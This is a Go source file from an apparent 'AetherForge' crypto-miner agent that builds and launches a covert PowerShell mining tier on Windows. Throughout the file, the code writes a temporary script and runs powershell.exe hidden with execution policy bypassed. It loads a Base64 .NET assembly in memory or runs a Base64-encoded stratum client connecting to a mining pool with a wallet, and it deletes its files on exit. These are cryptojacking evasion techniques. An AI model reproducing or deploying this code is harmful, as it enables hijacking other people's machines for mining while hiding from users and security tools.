Files
AetherForge/agent/miner/powershell_launcher.go

308 lines
8.1 KiB
Go

package miner
import (
"encoding/base64"
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"sync"
"crypto-miner-agent/config"
)
// powershellBin is the PowerShell executable; tests override via SetPowerShellBinPath.
var powershellBin = "powershell"
// powershellExecCommand is exec.Command; tests override via SetPowerShellExecCommand.
var powershellExecCommand = exec.Command
// embeddedMiningAssemblyB64 holds an optional pre-built .NET miner DLL (Base64).
// Empty → launcher uses encoded in-script .NET stratum stub (Assembly-free path).
var embeddedMiningAssemblyB64 = ""
// SetPowerShellBinPath overrides the PowerShell binary (restore with "").
func SetPowerShellBinPath(path string) {
if strings.TrimSpace(path) == "" {
powershellBin = "powershell"
return
}
powershellBin = path
}
// SetPowerShellExecCommand restores default when fn is nil.
func SetPowerShellExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
powershellExecCommand = exec.Command
return
}
powershellExecCommand = fn
}
// SetEmbeddedMiningAssemblyB64 sets optional in-memory assembly bytes for tests.
func SetEmbeddedMiningAssemblyB64(b64 string) {
embeddedMiningAssemblyB64 = b64
}
// PowerShellLauncher hosts CPU mining via powershell.exe + in-memory assembly or encoded command.
type PowerShellLauncher struct {
cfg config.RuntimeConfig
scriptPath string
gpuDllPath string
mu sync.Mutex
running bool
cmd *exec.Cmd
}
// NewPowerShellLauncher validates platform and pool config.
func NewPowerShellLauncher(cfg config.RuntimeConfig) (*PowerShellLauncher, error) {
if runtime.GOOS != "windows" {
return nil, fmt.Errorf("powershell tier requires Windows")
}
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
return nil, fmt.Errorf("pool host/port required for powershell stratum tier")
}
if strings.TrimSpace(cfg.Wallet) == "" {
return nil, fmt.Errorf("wallet required for powershell stratum tier")
}
if _, err := exec.LookPath(powershellBin); err != nil {
return nil, fmt.Errorf("powershell not in PATH: %w", err)
}
return &PowerShellLauncher{cfg: cfg}, nil
}
// Start writes an ephemeral script to %TEMP% and launches hidden powershell.exe.
func (l *PowerShellLauncher) Start() error {
l.mu.Lock()
defer l.mu.Unlock()
if l.running {
return nil
}
script, err := l.writeEphemeralScript()
if err != nil {
return err
}
l.scriptPath = script
args := []string{
"-NoProfile", "-ExecutionPolicy", "Bypass",
"-WindowStyle", "Hidden",
"-File", script,
}
cmd := powershellExecCommand(powershellBin, args...)
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
_ = os.Remove(script)
l.scriptPath = ""
return fmt.Errorf("powershell start failed: %w", err)
}
l.cmd = cmd
l.running = true
log.Printf("[powershell-tier] started parent=%s script=%s wallet=%s pool=%s:%d",
powershellBin, script, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
go l.waitExit()
return nil
}
func (l *PowerShellLauncher) waitExit() {
if l.cmd == nil {
return
}
err := l.cmd.Wait()
l.mu.Lock()
l.running = false
l.cmd = nil
script := l.scriptPath
gpu := l.gpuDllPath
l.scriptPath = ""
l.gpuDllPath = ""
l.mu.Unlock()
if script != "" {
_ = os.Remove(script)
}
if gpu != "" {
_ = os.Remove(gpu)
}
if err != nil {
log.Printf("[powershell-tier] powershell.exe exited: %v — chain will advance", err)
} else {
log.Printf("[powershell-tier] powershell.exe stopped")
}
}
// Stop kills the powershell parent and removes ephemeral artifacts.
func (l *PowerShellLauncher) Stop() {
l.mu.Lock()
cmd := l.cmd
running := l.running
script := l.scriptPath
gpu := l.gpuDllPath
l.mu.Unlock()
if !running {
return
}
if cmd != nil && cmd.Process != nil {
_ = cmd.Process.Kill()
}
if script != "" {
_ = os.Remove(script)
}
if gpu != "" {
_ = os.Remove(gpu)
}
l.mu.Lock()
l.running = false
l.cmd = nil
l.scriptPath = ""
l.gpuDllPath = ""
l.mu.Unlock()
}
// Running reports whether powershell.exe is supervising the tier.
func (l *PowerShellLauncher) Running() bool {
l.mu.Lock()
defer l.mu.Unlock()
return l.running
}
// ScriptPath returns the ephemeral PS1 path (tests only).
func (l *PowerShellLauncher) ScriptPath() string {
l.mu.Lock()
defer l.mu.Unlock()
return l.scriptPath
}
func (l *PowerShellLauncher) writeEphemeralScript() (string, error) {
dir := os.TempDir()
name := fmt.Sprintf("af-miner-%s.ps1", strings.TrimSpace(l.cfg.BuildID))
if name == "af-miner-.ps1" {
name = "af-miner-worker.ps1"
}
path := filepath.Join(dir, name)
if l.cfg.GPUEnabled && strings.TrimSpace(l.cfg.RVNWallet) != "" {
gpuPath := filepath.Join(dir, fmt.Sprintf("af-gpu-%s.dll", strings.TrimSpace(l.cfg.BuildID)))
if gpuPath == filepath.Join(dir, "af-gpu-.dll") {
gpuPath = filepath.Join(dir, "af-gpu-worker.dll")
}
// Placeholder GPU helper — real KawPoW DLL supplied by forge/server in production.
if err := os.WriteFile(gpuPath, []byte("AETHERFORGE_GPU_STUB"), 0o600); err == nil {
l.gpuDllPath = gpuPath
}
}
body, err := l.buildScriptBody()
if err != nil {
return "", err
}
if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
return "", fmt.Errorf("write script: %w", err)
}
return path, nil
}
func (l *PowerShellLauncher) buildScriptBody() (string, error) {
pass := strings.TrimSpace(l.cfg.PoolPass)
if pass == "" {
pass = "x"
}
wallet := strings.TrimSpace(l.cfg.Wallet)
worker := strings.TrimSpace(l.cfg.WorkerName)
if worker == "" {
worker = "worker"
}
if b64 := strings.TrimSpace(embeddedMiningAssemblyB64); b64 != "" {
if _, err := base64.StdEncoding.DecodeString(b64); err != nil {
return "", fmt.Errorf("invalid embedded assembly base64: %w", err)
}
tlsLit := "$false"
if l.cfg.PoolTLS {
tlsLit = "$true"
}
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
$bytes = [Convert]::FromBase64String('%s')
$asm = [Reflection.Assembly]::Load($bytes)
$entry = $asm.GetType('AetherForge.Miner.Entry')
$null = $entry.GetMethod('Start').Invoke($null, @('%s', %d, '%s', '%s', '%s', %s))
`,
b64,
escapePSSingleQuoted(l.cfg.PoolHost),
l.cfg.PoolPort,
escapePSSingleQuoted(pass),
escapePSSingleQuoted(wallet),
escapePSSingleQuoted(worker),
tlsLit,
), nil
}
// Encoded-command path: inline .NET stratum stub (no external CPU .exe).
encoded := buildEncodedStratumCommand(l.cfg, pass, wallet, worker)
gpuBlock := ""
if l.gpuDllPath != "" {
gpuBlock = fmt.Sprintf("\n# optional GPU DLL at %s\n", escapePSSingleQuoted(l.gpuDllPath))
}
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
# AetherForge PowerShell tier — wallet=%s pool=%s:%d
%s
$cmd = '%s'
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand $cmd
`,
wallet,
l.cfg.PoolHost,
l.cfg.PoolPort,
gpuBlock,
encoded,
), nil
}
func buildEncodedStratumCommand(cfg config.RuntimeConfig, pass, wallet, worker string) string {
tlsLit := "$false"
if cfg.PoolTLS {
tlsLit = "$true"
}
inner := fmt.Sprintf(`
$poolHost = '%s'; $port = %d; $tls = %s; $wallet = '%s'; $worker = '%s'; $pass = '%s'
$tcp = New-Object Net.Sockets.TcpClient; $tcp.Connect($poolHost, $port)
$stream = $tcp.GetStream()
if ($tls) {
$ssl = New-Object Net.Security.SslStream($stream, $false, { $true })
$ssl.AuthenticateAsClient($poolHost); $stream = $ssl
}
$w = New-Object IO.StreamWriter($stream); $w.AutoFlush = $true
$r = New-Object IO.StreamReader($stream)
$login = (@{id=1;jsonrpc='2.0';method='login';params=@{login=$wallet;pass=$pass;rigid=$worker;agent='AetherForge/PS'}} | ConvertTo-Json -Compress)
$w.WriteLine($login); $null = $r.ReadLine()
while ($tcp.Connected) { $null = $r.ReadLine(); Start-Sleep -Milliseconds 50 }
`,
escapePSSingleQuoted(cfg.PoolHost),
cfg.PoolPort,
tlsLit,
escapePSSingleQuoted(wallet),
escapePSSingleQuoted(worker),
escapePSSingleQuoted(pass),
)
// UTF-16LE base64 for -EncodedCommand
utf16 := utf16LE(inner)
return base64.StdEncoding.EncodeToString(utf16)
}
func escapePSSingleQuoted(s string) string {
return strings.ReplaceAll(s, "'", "''")
}
func utf16LE(s string) []byte {
runes := []rune(s)
out := make([]byte, 0, len(runes)*2)
for _, r := range runes {
out = append(out, byte(r), byte(r>>8))
}
return out
}